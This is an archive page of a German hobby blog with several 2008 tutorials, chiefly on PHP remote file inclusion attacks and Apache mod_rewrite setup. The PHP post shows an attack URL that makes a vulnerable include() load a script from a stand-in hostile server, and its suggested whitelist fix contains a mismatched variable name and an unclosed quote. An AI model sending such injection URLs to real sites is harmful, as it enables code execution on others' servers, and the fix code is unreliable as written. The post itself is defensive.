Tag-Archiv für » Tutorial «

PHP - Code Injection Angriffe

Friday, 18. July 2008 10:45

Einige Personen sind der Meinung, dass PHP per se eine unsichere Programmiersprache ist. Wie kommt man darauf? Die Sprache kann IMHO nur insoweit etwas für Ihren Ruf, als dass sie es dem Programmierer erlaubt ziemlich einfach komplexe Operationen aneinanderzureihen, die im Zusammenspiel dann zum Sicherheitsloch werden.

Wie läuft eine PHP Code Injection grundsätzlich ab? Wie auf Glorf IT erwähnt gibt es jede Menge Angreifer, die versuchen durch automatische Spider das Web nach Sicherheitslöchern abzugrasen um diese anschließend auszunutzen. Nicht selten versuchen sie durch Übergabe einer Adresse in der URL z.B. http://www.alin.eu/?link=http://boeseseite/boesesscript.php ein boeses Skript auf meinem Server auszuführen. Solche Aufrufe findet man fast häufiger im Serverlog als richtige Seitenzugriffe von Besuchern.

Wenn man im PHP Code nun so etwas wie include($_GET[link]) stehen hat, was manche Content Management Systeme hin und wieder tatsächlich verwenden um Inhalt aus anderen Dateien einzubinden, wird der Schadcode vom fremden Server hereingeladen. Es kann beliebiger schädlicher PHP-Code ausgeführt werden.

Gegen solche Angriffe kann man sich noch relativ einfach schützen, indem man in der php.ini den Eintrag allow_url_fopen=On auf allow_url_fopen=Off setzt. Dann können keine Dateien mehr von anderen Servern aufgerufen werden. Nachteil: Auch alle anderen PHP Skripte können nicht mehr auf Dateien von anderen Servern zugreifen. Zudem kann der Angreifer immer noch Code ausführen, wenn er an anderer Stelle die Gelegenheit bekommt Dateien auf den Server abzulegen. Ein typischen Fall wie das funktioniert ist im Flashforum humorvoll erklärt.

Eine wie ich behaupte sichere Methode ist es, die Benutzereingaben nicht direkt zu verwenden, sondern sie zum Beispiel über ein assoziatives Array einer vorgegebenen Seite zuzuordnen.


$arraymap = array(
'index' => 'index.php',
'impressum' => 'impressum.php',
//usw
);

if(!empty($_GET['link']) && isset($inclmap[$_GET['link']])) {
$content = $arraymap[$_GET['link]];
} else {
//Startseite aufrufen oder 404
}

include($content);

Natürlich gibt es noch viele weitere Angriffsmöglichkeiten im Zusammenhang mit PHP. Auf nettuts.com wird eine kleine Übersicht gegeben.

Weitere Sicherheitslücken die nicht direkt etwas mit PHP zu tun haben, aber häufig in interaktiven Webumgebungen anzutreffen sind Cross-Site-Scripting (XSS) Lücken. (siehe Wikipedia)

Auch Wordpress Blogs sind immer mal wieder Opfer von solchen Angriffen. Wie man sein Wordpress Blog einigermaßen vor Angriffen schützt erfährt man bei brajeshwar.com (Englisch).

Ich erhebe mit dem Tutorial natürlich keinen Anspruch auf Vollständigkeit. Kommentare und Hinweise sind herzlich erwünscht.

Thema: Entwicklung | Kommentare (1) | Autor: admin

Das Apache mod_rewrite Modul

Thursday, 12. June 2008 11:56

Das Modul mod_rewrite für den Apache Server dient dazu die angeforderte URL abzuwandeln. Mit der RewriteEngine des Apache-Webservers ist es nämlich möglich die angeforderte URL mithilfe von Regulären Ausdrücken anzupassen. Besonders Suchmaschinen nehmen dies dankbar an. Sie meiden Webseiten mit langen Parameterlisten wie

http://www.example.com/?link=bla&parameter2=2342342&color=black

Solche URLs können mit mod_rewrite intern beliebig umgesetzt werden. Die obige URL lässt sich so zum Beispiel auf

http://www.example.com/link/bla/sid/2342342/color/black

umwandeln. Auf der anderen Seite gibt es Stimmen die der Meinung sind man sollte bei der Suchmaschinenoptimierung auch tiefe Verzeichnisse in der URL vermeiden. Kein Problem, die URL lässt sich mittels mod rewrites Regulären Ausdrücken beliebig verändern. Der Benutzer bzw. die Suchmaschine bekommen von der internen Umleitung im Server nichts mit.

Im Folgenden gebe ich eine kleine Anleitung, wie man mod_rewrite auf seinen Server nutzt. Auf den meisten Servern ist mod_rewrite bereits vorinstalliert, viele Provider installieren das Modul auch gerne nach. Ist das bereits der Fall, so kann man mit Schritt 5 beginnen, ansonsten starten wir mit Schritt 1:

Schritt 1: Wir haben also unseren eigenen Server, der Apache läuft und mod_rewrite ist noch nicht installiert, zunächst sollten wir überprüfen ob wir die passende Bibliotheken auf dem System verfügbar haben. Das ist in den meisten Fällen der Fall. Wir überprüfen es dennoch indem wir uns in die Konsole einloggen und den Befehl find / -name mod_rewrite.so ausführen. Bei SuSe 9.1 wird diese Bibliothek (shared library, .so steht für shared object) im Verzeichnis /usr/lib/apache2/mod_rewrite.so gefunden. Ist dies der Fall gehe zu Schritt 2, ansonsten wird es schwieriger, man muss die Bibliothek erstmal irgendwo auftreiben.

Schritt 2:

Öffne die Datei /etc/sysconfig/apache2 und suche darin die Zeile APACHE_MODULES, dort fügt man am Ende einfach rewrite dazu:

Das sollte dann etwa so aussehen:

APACHE_MODULES="actions alias auth_basic authn_file authz_host authz_groupfile authz_default authn_dbm autoindex cgi dir env expires log_config mime negotiation setenvif ssl php5 perl python suexec rewrite

Schritt 3:

Eventuell ist noch das Anpassen der httpd.conf Datei gefragt. Diesen Schritt konnte ich bei meinem Webserver aber einfach weglassen. Wir finden die httpd.conf Datei mit dem Befehl "find / -name httpd.conf". Sucht in der Datei die auskommentierte Zeile in der das Apache Mod Rewrite Modul gestartet wird

“#LoadModule rewrite_module modules/mod_rewrite.so"

und entfernt die Raute davor. Ist die Zeile nicht vorhanden müsst ihr sie neu einfügen (natürlich ohne Raute ;) ). Achtet darauf, dass der Pfad zur mod_rewrite.so Datei so stimmt (in Schritt 1 haben wir den Pfad ermittelt).

Schritt 4:

Nun noch den Apache mit /etc/init.d/apache2 restart graceful neu starten. Das wars.

Schritt 5 - Funktionstest:

mod_rewrite sollte nun laufen. Man kann es auf einzelne Verzeichnisse anwenden wenn man eine .htaccess Datei in dem betreffenden Verzeichnis anlegt. Auf den ganzen Webauftritt wendet man es somit also an indem man sie in das Rootverzeichnis des Dokumentenverzeichnisses des Servers legt. Lege eine .htaccess-Datei an und schreibe darin testweise die Zeilen:

Options +FollowSymLinks

RewriteEngine On

und rufe das Verzeichnis mit dem Webbrowser auf, in welchem du die .htaccess-Datei angelegt hast. Erscheint ein 500, Internal Server Error, dann ist bei der Installation etwas schiefgelaufen. Keine Fehler bedeutet, dass alles geklappt hat. Die .htaccess-Datei kann nun um beliebige Befehle für mod_rewrite erweitert werden.

Probiere hierfür zum Beispiel:

RewriteEngine on

RewriteRule index.html index.php um mit der Eingabe von index.html im Browser auf die index.php geleitet zu werden. (Eine index.php muss hierfür natürlich auch im Verzeichnis vorhanden sein)

Schritt 6 - die Anwendung:

Wie Ihr bereits im Schritt 5 bemerkt habt, wird das Modul im jeweiligen Verzeichnis mit

RewriteEngine On

aktiviert.

Die Umschreiberegeln
Die Befehle für das Umschreiben der URLs werden in den darauf folgenden Zeilen eingetragen und sind wie folgt aufgebaut: Als erstes wird die Zeichenkette RewriteRule angeführt, gefolgt von dem Suchmuster (als “Regulärer Ausdruck”) und der Zeichenkette der das Suchmuster ersetzen soll. Nicht zu vergessen die Flags in eckigen Klammern.

Eine Rewriteregel sieht also so aus:
RewriteRule ^/diesedateirufichimbrowserauf\.html$ zudieserwirdgeleitet.php [NC]

Diese Regel bewirkt wie klar ersichtlich sein dürfte, dass jede Anfrage auf die Datei diesedateirufichimbrowserauf.html intern auf die Datei zudieserwirdgeleitet.php umgeleitet wird. Das Flag NC bedeutet “Not Casesensitiv”, die Anfrage reagiert also nicht auf Groß- und Kleinschreibung.

Bedingungen
Häufig wollen wir bestimmte Regeln nur unter bestimmten Bedingungen ausführen. Hierfür haben sich die Entwickler des Moduls die Rewrite Bedingungen ausgedacht. Sie werden vor der Rewrite Regel notiert.

RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?meinedomain\.de(/.*)?$ [NC]
RewriteRule \.(gif|jpg|GIF|JPG)$ http://www.meinedomain.de/boeserdieb.jpg [R,L]

Diese Rewrite Bedingung führt dazu, dass fremde Webseiten Bilder von meiner Webseite nicht direkt bei sich einbinden können. Dieser sogenannte Trafficklau wird dadurch verhindert. Das Ausrufezeichen vor dem Domainnamen hinter der Rewrite Condition steht nämlich für ein logisches Nicht und bedeutet, dass alle Bilder auf meinem Server, die von einer anderen Domain aufgerufen wurden auf die Ersatzgrafik boeserdieb.jpg geleitet werden. Das echte Bild bekommen die Besucher der Webseite des Diebes nicht zu gesicht.

Weitere Beispiele findet man auf modrewrite.de. Wer mit dieser Anleitung das Modul nicht zum Laufen bekommen sollte, kann es mal mit diesem Tutorial aus davidscorner probieren, welches ich im Laufe meiner Recherchen für diese Anleitung gefunden habe.

Da es sich bei den Anweisungen für mod rewrite um Reguläre Ausdrücke handelt, weiße ich in diesem Zusammenhang auch noch auf den Artikel zu Reguläre Ausdrücken hin: Reguläre Ausdrücke einfach validieren.

Viel Spaß beim rewriten!

Thema: Webentwicklung | Kommentare (2) | Autor: admin

Freie PDF-Bibliothek für Java

Tuesday, 20. May 2008 18:45

Um Informationen aus PDF-Dateien zu extrahieren, PDF-Dateien mittels Java zu erstellen oder um unter Java drucken zu können eignet sich die mächtige Bibliothek PDFBox.

Nach dieser Anleitung lässt sie sich recht leicht verwenden:
1. Man läd sich die aktuelle Version bei Sourceforge herunter (in diesem Beispiel wurde die 0.73er verwendet):

Kommandozeilen Programme finden
2a. Im Ordner bin befinden sich Kommandozeilen-Programme mit denen man pdf Dateien verschlüsseln, entschlüsseln, die Bilder oder den Text aus der PDF-Datei extrahieren kann. Wer keine Java Programmierkenntnisse hat kann die fertigen Programme einfach über die Kommandozeile ausführen. Zuvor muss das Archiv natürlich entpackt werden. Mehr Informationen dazu findet man auf der PDFBox Webseite unter Command Line Utilities.

Die Einbindung der Bibliothek in Java Eclipse Projekte (Beispielhaft für Windows)
2b. Wer die Bibliotheken benötigt um eigene Software zu schreiben, extrahiert aus dem heruntergeladene ZIP-Archiv einfach die .jar-Datei aus dem lib Verzeichnis. Diese Datei kann man nun zum Beispiel in das Plugin-Verzeichnis von Eclipse kopieren.

3b. In Eclipse erstellen wir ein neues Projekt und geben in den “Projekt Java Settings” unter dem Reiter “Jars” (am einfachsten gelangt man bei bereits bestehenden Projekten dahin, wenn man das Projekt im Baum anklickt und auf Properties->Java-Build-Path->Libraries klickt) mithilfe des Buttons “Add-External-Jars” suchen wir die Jar-Datei im Eclipse/Plugin Verzeichnis und fügen sie der Liste hinzu (hätten wir die .jar Datei ins Projektverzeichnis kopiert kann man auch mit “Add Jars” arbeiten).

4b. Wir legen eine Klasse zum Testen an. Wer mag kann hier ein fertiges Beispiel aus dem heruntergeladenem ZIP-Archiv verwenden. Die Beispiele befinden sich im Ordner /src/examples/

Meistens findet man bereits ein Beispiel was recht gut zu dem passt was man vor hat. Bei den Beispielen sollte man aber nicht vergessen, den Namen der zu bearbeitenden PDF Datei als Übergabeparameter an die Klasse zu übergeben ;).

Thema: Administration, Entwicklung | Kommentare (3) | Autor: admin

Bilder massenhaft verkleinern unter Windows

Sunday, 18. May 2008 22:02

Für Linux sind Vielen unter uns die Befehle convert der Imagemagick Bibliothek bekannt. Damit kann man einfach per Kommandozeile Bilder beliebig verkleinern, komprimieren oder umbenennen. Aber was macht man, wenn man gerade keine Linux Distribution am laufen hat?

Die Lösung ist einfach, denn Imagemagick gibt es auch als Windows Version. Am besten läd man sich also hier die windows-static.exe herunter. Zur Installation folgt man den komfortablen Assistenten und behält die Standardeinstellungen bei.

Mit dem Befehl
convert -quality 80 -resize 50% C:\Bilderverzeichnis\*.jpg c:\NeuesBilderverzeichnis\bild.jpg kann man dann einfach die Qualität zum Beispiel auf 80 und die Bildgröße auf 50% setzen. Schon sind riesige Bilder die zum Beispiel frisch vom Fotoapparat stammen schön handlich.

Mehr mögliche Befehle endeckt man mit
convert -h

Thema: Allgemein | Kommentare (0) | Autor: admin

Serielle Schnittstelle unter Java ansprechen

Tuesday, 6. May 2008 20:28

Leider hat Sun seinen Support für die offizielle Bibliothek CommAPI unter Windows eingestellt. In den Anfangszeiten von Java beklagten sich die Benutzer noch darüber, dass die Bibliothek keine Linux Unterstützung bot, nun ist zwar die Linux Version vorhanden, aber keine Windows Version mehr.

Das Projekt RXTX hat diese Bibliothek nachgebildet und stellt sie unter der GPL bereit.

http://rxtx.org/

Damit man sie zum Beispiel in Eclipse zum laufen bekommt, muss man die DLL-Dateien in den “Project”-Einstellungen in den Suchpfad einbinden. Am Einfachsten geht es aber, wenn man die DLLs direkt im System32 Verzeichnis platziert. Bekommt man das kleine - auf der Webseite vorgestellte - Demoprogramm zum Laufen kann man immer noch mit dem Suchpfad experimentieren. Die Bibliothek arbeitet recht schön, beim ersten Einbinden in Eclipse ist Frust mit den Suchpfaden aber vorprogrammiert.

Thema: Entwicklung | Kommentare (2) | Autor: admin

PHP-Fehlermeldungen durch .htaccess erzwingen

Tuesday, 6. May 2008 19:46

Je nach Einstellung des Webservers wird man das Problem haben. Man führt eine gerade Editierte PHP-Datei aus und es erscheint ein leeres Browserfenster. Was ist passiert?

Vermutlich ist bei der Ausführung der PHP-Datei ein Fehler passiert, die Fehlermeldung wird aber wegen den Servereinstellungen nicht angezeigt. Da viele Benutzer keinen Zugriff auf die php.ini haben oder bei fertigen Projekten PHP-Fehlermeldungen unerwünscht sind (Sie können Hackern empfindliche Informationen über die Webseite verraten) empfiehlt sich der einfache Weg über die .htaccess Datei.

Man erstellt hierzu eine Textdatei mit dem Inhalt:

php_value display_errors 1

und speichert diese als .htaccess im Ordner mit der randalierenden PHP-Datei.

Beim nächsten Aufruf des Scripts wird die Fehlermeldung angezeigt, welche für den leeren Bildschirm verantwortlich war und lässt sich mit PHP-Kenntnissen beheben.

Thema: Sonstiges, Webentwicklung - Fehlerbehebung | Kommentare (3) | Autor: admin

blogoscoop
Stoppt die Vorratsdatenspeicherung! Jetzt klicken & handeln!Willst du auch bei der Aktion teilnehmen? Hier findest du alle relevanten Infos und Materialien: